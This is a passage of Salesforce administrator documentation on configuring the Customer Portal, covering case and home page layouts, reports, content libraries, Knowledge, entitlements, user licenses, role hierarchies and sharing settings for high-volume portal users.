Include the Asset field on case page layouts if you want portal users to be able to associate cases with an asset related to their account. Include the Contact Name lookup field on case page layouts so that users with Edit permissions on that field can change a case's contact to another portal user in the same account. Do not select the Show solution information section, Show Contact Notification checkbox, and Select Contact Notification checkbox by default checkboxes on close-case page layouts because their functions only apply to Salesforce users. Create case record types to set the default value of the Case Origin picklist field for cases logged on your Customer Portal. For more information, see Creating Record Types on page 1181. For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles. Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case is created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users, add a rule entry using the criteria Current User: User Type contains Customer Portal and select the Do Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 1219. Portal users can view all the values in the Type, Status, Priority, and Case Reason picklist fields unless you create record types for cases that contain separate picklist values for them. For more information, see Managing Record Types on page 1180. You can prevent portal users from submitting cases with attachments by removing the Submit & Add Attachment button from case page layouts: 1. 2. 3. 4. 5. Edit a case page layout with the enhanced page layout editor. Click Layout Properties. Deselect Show Submit & Add Attachment Button. Click OK. Click Save.

Cases Portal users need the Read permission on contacts to create cases. Portal users cannot edit the value of the Status picklist field on cases. Portal users can edit and delete attachments they have added to their cases, but portal users cannot edit and delete attachments added to cases by Salesforce users. The Delete and Sharing buttons on case detail pages are not available to portal users. The Email Message List, Next, and Previous links are not available to Customer Portal users when they view an email from the Email related list on case detail pages. The Email related list is only available in organizations where Email-to-Case or On-Demand Email-to-Case is enabled. Optionally, you can create case auto-response rules to automatically respond to portal users when they create a case on your portal. For more information, see Setting Up Auto-Response Rules on page 1226. Portal users can view, search, and create notes and attachments on cases. When creating a case, a portal user bypasses the Suggested Solutions page and is directed to their case if: No relevant suggested solutions match the case He or she creates the case by clicking Submit & Add Attachment Note that suggested solutions are only available in organizations where they are enabled. For more information on suggested solutions, see What are Suggested Solutions? on page 2851. For more information about how Customer

1559

Customer Portal

Setting Up Your Customer Portal

Portal users can self-close their own cases from suggested solutions, see Enabling Customer Portal Login and Settings on page 1545. If Salesforce Knowledge is enabled, you can add the Articles related list to case page layouts assigned to portal users so that they can find articles that help them solve their cases. See Customizing Related Lists on page 1206. If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete them.

Solutions The Status picklist field on solutions is not available to portal users. The Status picklist field on a solution does not need to be set to Reviewed for a solution to be visible in the Customer Portal; a solution is visible in the Customer Portal if the Visible in Self-Service Portal checkbox is selected on a solution. If you enable solution categories for your organization, then solution categories are also available in your Customer Portal. Uncategorized solutions do not display in the solution categories of your Customer Portal, but they do display in your portal's search and list views. The top solutions feature is not available for your Customer Portal, but you can create links on your Customer Portal home page to your organization's most relevant solutions.

Home Page Include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so that when they log in to your portal they receive a welcome message with their name, plus the ability to change their own portal username, password, locale, language, time zone, and contact information. When portal users change information about themselves their user record is updated but their contact record is not automatically updated with those changes. For more information about defining home page components and assigning home page layouts, see Customizing Home Tab Page Layouts on page 1212. Note that Customer Portal users who have the Is Single Sign-On Enabled permission cannot change their username via the Customer Portal Welcome component. For more information on Single Sign-On, see Company Information Fields on page 410. When designing home page layouts for your Customer Portal, we recommend adding the following components: Search, Solution Search, Recent Items, Customer Portal Welcome, and a custom HTML Area component that includes your corporate branding in the wide column. Create custom components to put on the home page layouts of your Customer Portal, such as links to custom list views, specific documents, and top solutions. For more information, see Defining Home Tab Components on page 1213. Custom component names do not display in the wide section of the home page in the Customer Portal. You can position the logout link anywhere on the header by using the HTML tag: <a href="/secur/logout.jsp">Logout</a>. For more information on the header, see Enabling Customer Portal Login and Settings on page 1545. We recommend not adding the following components to your Customer Portal home page layouts because they are for Salesforce users: Tasks, Calendar, Product Search, Recent Items, Dashboard Snapshot, Messages & Alerts, and Items To Approve.

1560

Customer Portal

Setting Up Your Customer Portal

Activities Portal users cannot be assigned to activities. Portal users can view completed tasks and past events marked Visible in Self-Service that are associated with objects they have permission to view.

Documents Verify that none of your organization's internal documents on the Documents tab are available in folders accessible to portal users. For more information, see Managing Folders on page 1228. Reports Portal users can run reports if they have the Run Reports permission. Portal users can export reports if they have the Export Reports permission. The Report Options section does not display on report results for portal users because portal users cannot customize report results. Also, the Generated Chart section, which includes the Edit, Large, Medium, and Small links, does not display on report results. Report results for portal users only include links to objects the portal users have permission to access. Portal users can only report on objects set to Private in the organization-wide default sharing model. Some objects, such as solutions and articles, are not included in the sharing model and cannot be reported on by Customer Portal users. For more information, see Setting Your Organization-Wide Sharing Defaults on page 586. Portal users will receive an insufficient privileges error if they run a report that contains objects they do not have permission to view. By default all users, including portal users, can view report folders. To prevent portal users from viewing report folders, update the sharing settings on report folders to the All Internal Users group. For more information, see Managing Folders on page 1228.

Custom Objects When you deselect the Available for Customer Portal checkbox on a custom object, the custom object is no longer available on the Customer Portal, and all of the permissions for the custom object are automatically removed from portal profiles. If you select the Available for Customer Portal checkbox on a custom object again, you must update the permissions for the custom object on portal profiles. Note: If you configure custom object access at a later time, permission sets retain their configuration.

Portal users can view, search, and create notes and attachments on custom objects. If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete them.

Articles For setup information, see Enabling Salesforce Knowledge in the Customer Portal on page 3059. Assets Portal users cannot edit assets. Portal users can only view assets associated with their accounts.

1561

Customer Portal

Setting Up Your Customer Portal

Assets are only visible to portal users if you include the Assets lookup field on case page layouts. From case detail pages, portal users can view an asset by clicking it in the Asset field. Portal users can view and search attachments on assets. If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete them.

Salesforce CRM Content Portal users with a Salesforce CRM Content feature license can perform any tasks granted by their library permission. Portal users with the View Content on Portals user permission have view-only access to Salesforce CRM Content. Portal users with the Create Libraries user permission can create and administer libraries.

For more information, see Enabling Salesforce CRM Content in the Customer Portal on page 1563. Answers For setup information, see Enabling Answers in the Customer Portal on page 1567. When customizing your portal fonts and colors, note that answers only supports the following changes: All tab styles The following page styles: Page Background Text Link Link Hover

Ideas For setup information, see Enabling Salesforce CRM Ideas in the Customer Portal on page 1568. Accounts Only users with delegated Customer Portal user administrator rights can view the Accounts tab and their account's detail page in your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page 1585. Contacts Only users with delegated Customer Portal user administration rights can view their account's contacts. See Delegating Customer Portal User Administration and Portal Super User on page 1585. Only users with the Portal Super User permission can view the Contacts tab and edit and detail pages for contacts in your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page 1585. Entitlements For set up information, see Enabling Entitlement Management in the Customer Portal on page 1568. Add the Read permission on entitlements to custom portal profiles; assign the profiles to portal users who need access to entitlements. See User Profiles Overview on page 490 and Configuring User Access to the Customer Portal on page 1574.

1562

Customer Portal

Setting Up Your Customer Portal

Add the Entitlement Name lookup field to case page layouts so that portal users can add entitlements to cases. See Customizing Page Layouts on page 1191. Don't add the following entitlement process fields to case page layouts for portal users because portal users shouldn't access information related to your internal support processes: Entitlement Process Start Time, Entitlement Process End Time, Stopped, and Stopped Since. See Case Fields on page 2822. Optionally, add the Entitlements tab to your Customer Portal so that portal users can view entitlements associated with their accounts and create cases from entitlements. Add the Entitlements related list to account and contact page layouts so that delegated portal user administrators can create cases automatically associated with the right entitlements. See Delegating Customer Portal User Administration and Portal Super User on page 1585 and Customizing Page Layouts on page 1191.

Service Contracts Flows You can include Force.com flows in your Customer Portal by embedding them in a Visualforce page. For more information, see Adding a Flow to a Visualforce Page on page 1740. Users can only run flows that have an active version. If the flow you embed doesn't have an active version, users see an error message. If the flow you embed includes a subflow, that subflow must have an active version. When making a flow available to site or portal users, be sure to point them to the URL of the Visualforce page that contains the embedded flow, not to the URL of the flow itself. Site and portal users don't have the privileges to run flows directly. For set up information, see Enabling Entitlement Management in the Customer Portal on page 1568. Grant the Read permission on service contracts to the portal users who need access to service contracts. See Overview of User Permissions and Access on page 525 and Configuring User Access to the Customer Portal on page 1574. Add the Service Contracts tab to your Customer Portal so that portal users can view the details of their service contracts. See Customizing Your Customer Portal Tabs on page 1555. Contract line items don't display in the Customer Portal.

See Also:
Customizing Your Customer Portal Pages Overview of User Permissions and Access

Enabling Salesforce CRM Content in the Customer Portal

1563

Customer Portal

Setting Up Your Customer Portal

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up and update the Customer Portal: To create and edit profiles: To manage Customer Portal users: To create Salesforce CRM Content library permissions: Customize Application Manage Users Edit Self-Service Users Manage Salesforce CRM Content OR Manage Content Permissions To add users to a Salesforce CRM Content library: Manage Salesforce CRM Content OR
Manage Library checked in your library permission

definition

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Salesforce CRM Content is available in the Customer Portal. Two levels of access to Salesforce CRM Content can be granted to Customer Portal users: Portal users without a Salesforce CRM Content feature license can download, rate, comment on, and subscribe to content if they have the View Content on Portals user permission. They cannot view potentially sensitive data such as usernames and download, version, and subscriber history. The content delivery feature is not available to portal users. Portal users with a Salesforce CRM Content feature license can access all Salesforce CRM Content features granted by their library permission(s), including contributing content, moving and sharing content among libraries, and deleting content. They can also view Salesforce CRM Content reports. The content delivery feature is not available to portal users.

Enable Salesforce CRM Content for Non-Licensed Users After you have enabled your Customer Portal, complete the following steps to enable Salesforce CRM Content in your portals. Use these steps if you have not purchased Salesforce CRM Content feature licenses for your portal users. 1. Update Customer Portal profiles: a. b. c. d. Clone the Customer Portal User or Customer Portal Manager profile. In the cloned profiles, add the View Content in Portals user permission. Change the tab visibility for the Libraries, Content, and Subscriptions tabs from Tab Hidden to Default On. Assign the cloned profiles to your Customer Portal users.

2. Determine what privileges your portal users will have in each Salesforce CRM Content library by creating one or more library permissions. Note: A library permission can only grant privileges that a user's feature license or profile permits. For example, even though Tag Content is a library permission option, selecting it does not allow portal users without a Salesforce CRM Content feature license to tag content.

1564

Customer Portal

Setting Up Your Customer Portal

3. Determine which libraries you want your portal users to have access to. Ensure that confidential content is not available in these libraries. 4. Add portal users to libraries. Portal users with the Customer Portal User profile or a clone of that profile can only be added to a library as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that profile can be added to a library individually. 5. Add the Salesforce CRM Content tabs to each Customer Portal. Note: The Documents tab is not part of Salesforce CRM Content.

Enable Salesforce CRM Content for Licensed Users After you have enabled your Customer Portal, complete the following steps to enable Salesforce CRM Content in your portals. Use these steps if you have purchased Salesforce CRM Content feature licenses for your portal users 1. Update Customer Portal profiles: a. Optionally, clone the Customer Portal User and Customer Portal Manager profile to include the Create Libraries user permission if you want to allow portal users to create and administer new libraries. b. In your standard or cloned Customer Portal profiles, change the tab visibility for the Libraries, Content, and Subscriptions tabs from Tab Hidden to Default On. c. Assign the cloned profiles to your Customer Portal users as needed. 2. Select the Salesforce CRM Content User checkbox on the user detail page for each Customer Portal user. 3. Determine what privileges your portal users will have in each Salesforce CRM Content library by creating one or more library permissions. Note: A library permission can only grant privileges that a user's feature license or profile permits. For example, even though Tag Content is a library permission option, selecting it does not allow portal users without a Salesforce CRM Content feature license to tag content. 4. Determine which libraries you want your portal users to have access to. Ensure that confidential content is not available in these libraries. 5. Add portal users to libraries. Portal users with the Customer Portal User profile or a clone of that profile can only be added to a library as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that profile can be added to a library individually. 6. Add the Salesforce CRM Content tabs to each Customer Portal. Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Setting Up Your Customer Portal Enabling Your Customer Portal Salesforce CRM Content Overview

Enabling Salesforce Knowledge in the Customer Portal

1565

Customer Portal

Setting Up Your Customer Portal

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up and update the Customer Portal: To create and edit profiles: To manage Customer Portal users: To view Salesforce Knowledge articles: Customize Application Manage Users Edit Self-Service Users Read on the article's article type

You can use the Customer Portal to provide your customers with access to Salesforce Knowledge articles. Portal users can view and rate articles but cannot create or edit articles. After you have set up Salesforce Knowledge in your organization and enabled your Customer Portal, complete the following steps to enable Salesforce Knowledge in your portals. 1. Update Customer Portal profiles: a. Clone the Customer Portal User or Customer Portal Manager profiles and enable the Read permission for article types you want to share with customers. b. In the cloned profiles, verify that the tab visibility for the Articles tab is Default On. 2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profile. 3. Assign the cloned profiles to your Customer Portal users: a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User on the contact detail page. b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then select the profile. c. Click Save. 4. Add the Articles tab to each Customer Portal. 5. If you want your Customer Portal users to have different category group visibility settings than the account owner, change the visibility settings for the Customer Portal user. By default, Customer Portal users inherit their data category access from the account owner. For example, if the account owner has a role of CEO and the CEO role has full access to all the data categories in a category group, then Customer Portal users can also access all categories in that group. In some cases, you may want to limit which categories a Customer Portal user can access. 6. If you have high-volume portal users, make the categories these users need to access visible by default. Because high-volume portal users don't have roles, they can only access categorized articles if the associated data categories have been made visible to all users regardless of role. 7. Notify users who create articles that they must select Customer Portal as a channel option when creating or modifying an article. If the Customer Portal channel is not selected, the article will not be published in the portal.

1566

Customer Portal

Setting Up Your Customer Portal

8. To allow users to search for articles from the Home tab, add the Article Search component to the home page layout. Ensure that you assign the layout to the Customer Portal profiles.

See Also:
What is Salesforce Knowledge? Setting Up Salesforce Knowledge Useful Salesforce Knowledge Terminology

Enabling Answers in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up and update the Customer Portal: To create and edit profiles: To create an answers community: Customize Application Manage Users Customize Application

You can use the Customer Portal to provide your customers with access to an answers community. To enable answers in your portal: 1. Set up your Customer Portal. When customizing your portal fonts and colors, note that answers only supports the following changes: All tab styles The following page styles: Page Background Text Link Link Hover

2. Set up answers, making sure that your answers community is configured to display in the Customer Portal. 3. Add the Answers tab to your Customer Portal. 4. Create Customer Portal users: a. On the contact detail page, click Work with Portal and then choose Enable Customer Portal User. b. Enter the required information, making sure to select the correct Customer Portal profile from the Profile drop-down menu. c. Click Save. 5. If you want your Customer Portal users to have different category group visibility settings than the account owner, change the visibility settings for the Customer Portal user.

1567

Customer Portal

Setting Up Your Customer Portal

By default, Customer Portal users inherit their category access from the account owner. For example, if the account owner has a role of CEO and the CEO role has full access to all the data categories in the category group assigned to answers, then Customer Portal users can also access all categories in the answers community. In some cases, you may want to limit which categories a Customer Portal user can access. 6. If you have high-volume portal users, make the data categories these users need to access visible by default. Because high-volume portal users don't have roles, they can only access categorized questions if the associated data categories have been made visible to all users regardless of role. 7. If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise, your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on hiding tabs, see Customizing Your Customer Portal Tabs on page 1555.

See Also:
Answers Overview What are Data Categories?

Enabling Salesforce CRM Ideas in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up and update the Customer Portal: To create and edit profiles: To create a Salesforce CRM Ideas community: Customize Application Manage Users Customize Application

Salesforce CRM Ideas is available in the Customer Portal. After you have set up your Customer Portal, follow the steps below to enable Salesforce CRM Ideas in your portal. 1. Create a Salesforce CRM Ideas community that is active and configured to display in the portal. For more information, see Creating and Editing Communities on page 1434. 2. Add the Salesforce CRM Ideas tab to your Customer Portal. For more information, see Customizing Your Customer Portal Tabs on page 1555. 3. If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise, your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on hiding tabs, see Customizing Your Customer Portal Tabs on page 1555.

Enabling Entitlement Management in the Customer Portal

1568

Customer Portal

Setting Up Your Customer Portal

Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To set up and update the Customer Portal: To create and edit profiles: To manage Customer Portal users: "Customize Application" "Manage Users" "Edit Self-Service Users"

You can use the Customer Portal to provide your customers with access to their entitlements and service contracts. Contract line items don't display in the Customer Portal. After you have set up entitlement management and enabled a Customer Portal, complete the following steps to add entitlement management to your portals. 1. Update Customer Portal profiles: a. Clone Customer Portal profiles and enable the Read permission on entitlements or service contracts. Note: High-volume portal users can't access entitlement management.

b. Optionally, on the profiles of delegated Customer Portal user administrators, enable the Create and Delete permissions on entitlement contacts. This lets delegated portal user administrators update entitlement contacts. c. In the cloned profiles, verify that the tab visibility for the Entitlements or Service Contracts tabs are Default On. 2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profiles. 3. Customize case page layouts to add the Entitlement Name lookup field. This lets portal users add entitlements to cases. Tip: Don't add the following entitlement process fields to case page layouts for portal users because portal users shouldn't access information related to your internal support processes: Entitlement Process Start Time, Entitlement Process End Time, Stopped, and Stopped Since. 4. Optionally, customize related lists on accounts and contacts to add Entitlements. This lets delegated portal user administrators create cases automatically associated with the right entitlements. 5. Add the Entitlements or Service Contract tabs to each Customer Portal. 6. Assign the cloned profiles to your Customer Portal users: a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User. b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then select the profile.

1569

Customer Portal

About Customer Portal User Management

c. Click Save.

See Also:
Setting Up Your Customer Portal Entitlement Management Overview

Customer Portal Setup Limits


Available in: Enterprise, Unlimited, and Developer Editions

Contact salesforce.com for information about the number of Customer Portals and Customer Portal user licenses you can activate. The maximum number of custom objects you can include in a Customer Portal is determined by the total number of custom objects your Edition allows. See Salesforce Editions and Limits on page 1898. Also, user licenses control the number of custom objects a portal user can see in a Customer Portal. For information, contact salesforce.com.

See Also:
Setting Up Your Customer Portal

About Customer Portal User Management


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Customer Portal users: To manage profiles and permission sets: To create, edit, and delete page layouts: To set field-level security: To set sharing rules: Edit Self-Service Users Manage Users Customize Application Customize Application Manage Users

Managing Customer Portal users is similar to managing regular Salesforce users. General user administration concepts like profiles and page layouts still apply. Review the following advice for managing Customer Portal users: Customer Portal Profiles Customer Portal Sharing Rules

1570

Customer Portal

About Customer Portal User Management

Customer Portal Role Hierarchy Customer Portal User Licenses Note: High-volume portal users (Service Cloud portal users) include both the High Volume Customer Portal User and Authenticated Website User license types.

Customer Portal Profiles


The profiles you assign to Customer Portal users define permissions for them to perform different functions within a Customer Portal, such as whether they can view, create, edit, or delete cases and custom object records. When you enable a Customer Portal, the following profiles are automatically created if you purchased user licenses for them: High Volume Customer Portal User Authenticated Website User Customer Portal User Customer Portal Manager

The settings on Customer Portal profiles are similar. However, you can grant users with the Customer Portal Manager profile greater access to data via the Customer Portal role hierarchy and sharing rules (neither of which apply to high-volume portal users). You can also clone and customize each profile to suit the various support requirements of specific customers. You can also use permission sets to grant additional permissions and access settings to Customer Portal users. Depending on the user licenses you purchased, you can configure Customer Portal profiles for custom object, Salesforce CRM Content, reporting, and customer support functionality, such as cases and solutions.

Customer Portal Sharing Rules


After you enable a Customer Portal, the following groups and sharing rule category are created: Groups and Sharing Rule Category All Customer Portal Users group All Internal Users group Roles and Internal Subordinates sharing rule category Description Contains all Customer Portal users, except for high-volume portal users. Contains all Salesforce users in your organization. Lets you create sharing rules with specific Salesforce users in your organization by role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles. Because high-volume portal users don't have roles, they aren't included in this or any other sharing rule category.

You can use these groups and the sharing rule category to create sharing rules that: Grant Customer Portal or Salesforce users access to specific data (except for high-volume portal users, because you can't include them in any groups or sharing rules) Link Customer Portal users and Salesforce users Link Customer Portal users from different accounts as long as they have the Customer Portal Manager user license

1571

Customer Portal

About Customer Portal User Management

Customer Portal Role Hierarchy


When you enable a Customer Portal on an account, the system creates a role hierarchy for the account's portal users. The portal roles are unique for each account and include the account's name. For example, Account A Customer User. In your organization's overall role hierarchy, this account-specific hierarchy is directly below the account owner. The roles in a portal role hierarchy are fixed. You cannot customize them or add new ones. They are: Executivefor contacts Managerfor contacts Userfor contacts Person Accountfor person accounts

As you enable customers as Customer Portal users, the system automatically assigns roles based on the user license. Person accounts always have the Person Account role. Contacts with the High Volume Customer Portal User or Authenticated Website User user license do not have a role. Role hierarchies ensure that portal users from different accounts never see each other's data. Even though high-volume portal users aren't included in role hierarchies, they're restricted from seeing records that aren't associated with their account or contact, and they can only see objects to which they've been granted access. You can, however, create sharing rules so that users with the Customer Portal Manager user license from different accounts can see each other's data. Accounts with different portal typesCustomer Portal and partner portalhave a separate role hierarchy for each portal. Role names include the portal type with which they are associated. For example, if Account A has both a Customer Portal and a partner portal, then roles for the Customer Portal are named Account A Customer User and roles for the partner portal are named Account A Partner User. To view the roles assigned to your Customer Portal users, create a custom report, choose Administrative Reports, select Users as the data type, and add Role to your report columns. Note that you can't report on roles for high-volume portal users because they don't have roles. See Administrative Reports on page 2668. Note: You cannot create a Customer Portal user associated with an account owned by a partner user.

Customer Portal User Licenses


User licenses restrict the functions that Customer Portal users can perform. You can assign the following user licenses to Customer Portal users: High Volume Customer Portal User Authenticated Website User Customer Portal Manager Standard Customer Portal Manager Custom

These user licenses determine the available Customer Portal profiles. They also determine users' positions in the Customer Portal role hierarchy. The following table shows the Customer Portal user licenses with their associated profiles and positions in the Customer Portal role hierarchy: User License High Volume Customer Portal User (Service Cloud Portal User) and Profiles Roles and Sharing

High Volume Customer Portal User or High-volume portal users don't have Authenticated Website User profile, or roles. See About High-Volume Portal Users (Service Cloud Portal Users) on page 1575.

1572

Customer Portal

About Customer Portal User Management

User License Authenticated Website User

Profiles

Roles and Sharing

a profile cloned and customized from one Can't share but can transfer records they of these. Can access custom objects own. Both user licenses are high-volume portal depending on profile settings. users Can't transfer cases from non-high-volume portal users to them. (Available to purchase) Can't include in: Customer Portal Manager Standard (Available to purchase if you own the license already) Customer Portal User profile or a profile cloned and customized from the Customer Portal User profile. Can access custom objects depending on profile settings. Can receive the Portal Super User permission. Can access Salesforce CRM Content depending on feature license and profile settings. See Enabling Salesforce CRM Content in the Customer Portal on page 1563. Customer Portal Manager profile or a profile cloned and customized from the Customer Portal Manager profile. Can access custom objects depending on profile settings. Can access reports depending on profile settings. Can access Salesforce CRM Content depending on feature license and profile settings. See Enabling Salesforce CRM Content in the Customer Portal on page 1563. Can receive the Portal Super User and Delegated Portal User Administrator permissions. Personal groups or public groups Sharing rules Account teams, sales teams, or case teams Salesforce CRM Content libraries

Can only assign to either the Executive, Manager, or User role. Can view and edit data they directly own or data owned by or shared with users below them in the Customer Portal role hierarchy; and they can view and edit cases where they are listed in the Contact Name field. Can have data shared to them just like other Salesforce users.

Customer Portal Manager Custom (Available to purchase)

Can assign to either the Executive, Manager, or User role. Can view and edit data they directly own or data owned by or shared with users below them in the Customer Portal role hierarchy; and they can view and edit cases where they are listed in the Contact Name field. Can have data shared to them just like other Salesforce users.

Tip: For more information on license types, such as Content, Ideas, Answers, and Knowledge, see Viewing User License Types on page 567. Note: Person accounts enabled as Customer Portal users are automatically assigned the Person Account role, which you cannot change. Person accounts are automatically assigned to this role because they include a single user, so multiple

1573

Customer Portal

About Customer Portal User Management

roles are not necessary for their account. Furthermore, all person accounts owned by the same user are assigned the same role.

See Also:
Working with Customer Portal Users Setting Up Your Customer Portal What is a Person Account? Configuring Multilingual HTML Messages Delegating Customer Portal User Administration and Portal Super User Administrator setup guide: Salesforce Customer Portal Implementation Guide

Configuring User Access to the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Customer Portal: To manage Customer Portal users: To create, edit, and delete profiles: To set default sharing access: To set sharing rules: To enable Customer Portal users: Customize Application Edit Self-Service Users Manage Users Manage Users Manage Users Edit Self-Service Users OR Manage Users

When setting up a Salesforce Customer Portal for the first time, configure the following before enabling users to access your portal: 1. Set up your portal as described in Setting Up Your Customer Portal. 2. Assign Customer Portal profiles to a portal: a. Select the name of a portal from the Customer Portal Setup page. b. Click Edit Profiles in the Assigned Profiles section. c. Select the Active checkbox next to the profile you want to assign to the portal. Portal users can only log into Customer Portals assigned to their profile. If you are creating multiple portals, you must assign profiles to each portal you want users to access.

1574

Customer Portal

About Customer Portal User Management

3. Set the organization-wide defaults in your organization's sharing model to Private on accounts, contacts, contracts, assets, and cases. This ensures that portal users can only view and edit data related to their accounts. For more information, see Setting Your Organization-Wide Sharing Defaults on page 586. Tip: To maintain Public organization-wide default behavior for Salesforce users, while ensuring that portal users can only view and edit data related to their accounts, you can create self-referencing sharing rules of All Internal Users to All Internal Users. For more information, see Sharing Rules Overview on page 598. 4. Optionally, set sharing rules for portal users (with the exception of high-volume portal users). See Sharing Rules Overview on page 598. Note: If your organization uses sharing rules that share to Roles, Internal and Portal Subordinates, then update those sharing rules to share to Roles and Internal Subordinates instead. This is to help ensure that no records owned by a Salesforce user are shared with a portal user. The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a specified role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles. You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for portal users. 5. Verify that portal users are not added to any queues and are not included in any public groups added to queues. This is because portal users added to queues may be able to access records from accounts to which they are not related. For more information, see Viewing and Editing Queues on page 563 and About Groups on page 554. 6. Optionally, add the Welcome component to home page layouts assigned to portal users. The Welcome component allows portal users to receive a welcome message with their name, plus the ability to change their own portal username, password, locale, language, time zone, and contact information. For details, see Setup Tips and Considerations for Customer Portal Pages on page 1558. 7. Optionally, allow contacts to register themselves for access to your portal. See Enabling Customer Portal Login and Settings on page 1545.

See Also:
About Customer Portal User Management Configuring Multilingual HTML Messages Administrator setup guide: Salesforce Customer Portal Implementation Guide Enabling Salesforce CRM Content in the Customer Portal Working with Customer Portal Users

About High-Volume Portal Users (Service Cloud Portal Users)


Available in: Enterprise, Unlimited, and Developer Editions

High-volume portal users (Service Cloud portal users) are limited-access portal users intended for organizations with many thousands to millions of portal users. Unlike other portal users, high-volume portal users don't have roles, which eliminates

1575

Customer Portal

About Customer Portal User Management

performance issues associated with role hierarchy calculations. High-volume portal users include both the High Volume Customer Portal User and Authenticated Website User license types. Characteristics High-volume portal users: Are contacts enabled to access a Customer Portal Are assigned to the High Volume Customer Portal User or Authenticated Website User license Only share the records they own with Salesforce users in the high-volume portal users share group

Access to Records High-volume portal users can access records if any of the following conditions are met: They own the record They can access a record's parent, and the organization-wide sharing setting for that record is Controlled by Parent The organization-wide sharing setting for the object is Public Read Only or Public Read/Write The record is the account or contact under which they are enabled (read access only)

Administrators can create sharing sets to grant high-volume portal users additional access to records; see Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records on page 1576. Limitations High-volume portal users can't manually share records they own or have access to. You can't transfer cases from non-high-volume portal users to high-volume portal users. High-volume portal users can't own accounts. You can't add case teams to cases owned by high-volume portal users. You can't include high-volume portal users in: Personal groups or public groups Sharing rules Account teams, sales teams, or case teams Salesforce CRM Content libraries

You can't assign high-volume portal users to territories.

See Also:
Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records

Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records

1576

Customer Portal

About Customer Portal User Management

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To grant high-volume portal users access to records: Customize Application

You can create sharing sets to grant high-volume portal users (Service Cloud portal users) access to records based on their profiles. A sharing set allows high-volume portal users to access any record that has a lookup field to an account or contact that matches the user's account or contact. 1. Click Your Name > Setup > Customize > Customer Portal > Settings. 2. In the Sharing Settings for High-Volume Portal Users related list, click New to create a sharing set, or click Edit next to an existing sharing set. 3. In the Sharing Set Edit page, enter a name and description. 4. Select the profiles of the users you want to have access. 5. Select the objects you want to grant access to. The Available Objects list excludes: Objects with an organization-wide sharing setting of Public Read/Write Custom objects that aren't specified as available for Customer Portal Custom objects that don't have an account or contact lookup field

6. In the Configure Access section, click Set Up or Edit next to an object name to configure access for the selected profiles, or click Del to remove access settings for an object. Note: Objects with Set Up in the Action column aren't configured for high-volume portal user access. Until you configure an object, high-volume portal users have limited or no access to its records. For more information on access, see About High-Volume Portal Users (Service Cloud Portal Users) on page 1575. 7. Grant access based on an account or contact lookup: Select All records where the high-volume portal user's account matches to give high-volume portal users access to all records associated with their account. For example, choosing this option for cases would give users access to all cases associated with their account. Select Only records where the high-volume portal user's contact matches to give high-volume portal users access only to the records that are associated with their own contact. For example, choosing this option for cases would give users access only to the cases that they filed, or cases that were filed on their behalf by a support representative. Note: One of these options may be unavailable if the object doesn't contain the relevant fields.

8. Choose an access level of Read Only or Read/Write. (If the object's organization-wide sharing setting is Public Read Only, then only Read/Write is available.) 9. Click Update, then click Save.

1577

Customer Portal

About Customer Portal User Management

Your settings apply to all of your organization's Customer Portals or sites.

See Also:
Viewing Sharing Sets for High-Volume Portal Users (Service Cloud Portal Users) Working with Customer Portal Users Viewing Sharing Sets for High-Volume Portal Users (Service Cloud Portal Users) Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To grant high-volume portal users access to records: Customize Application

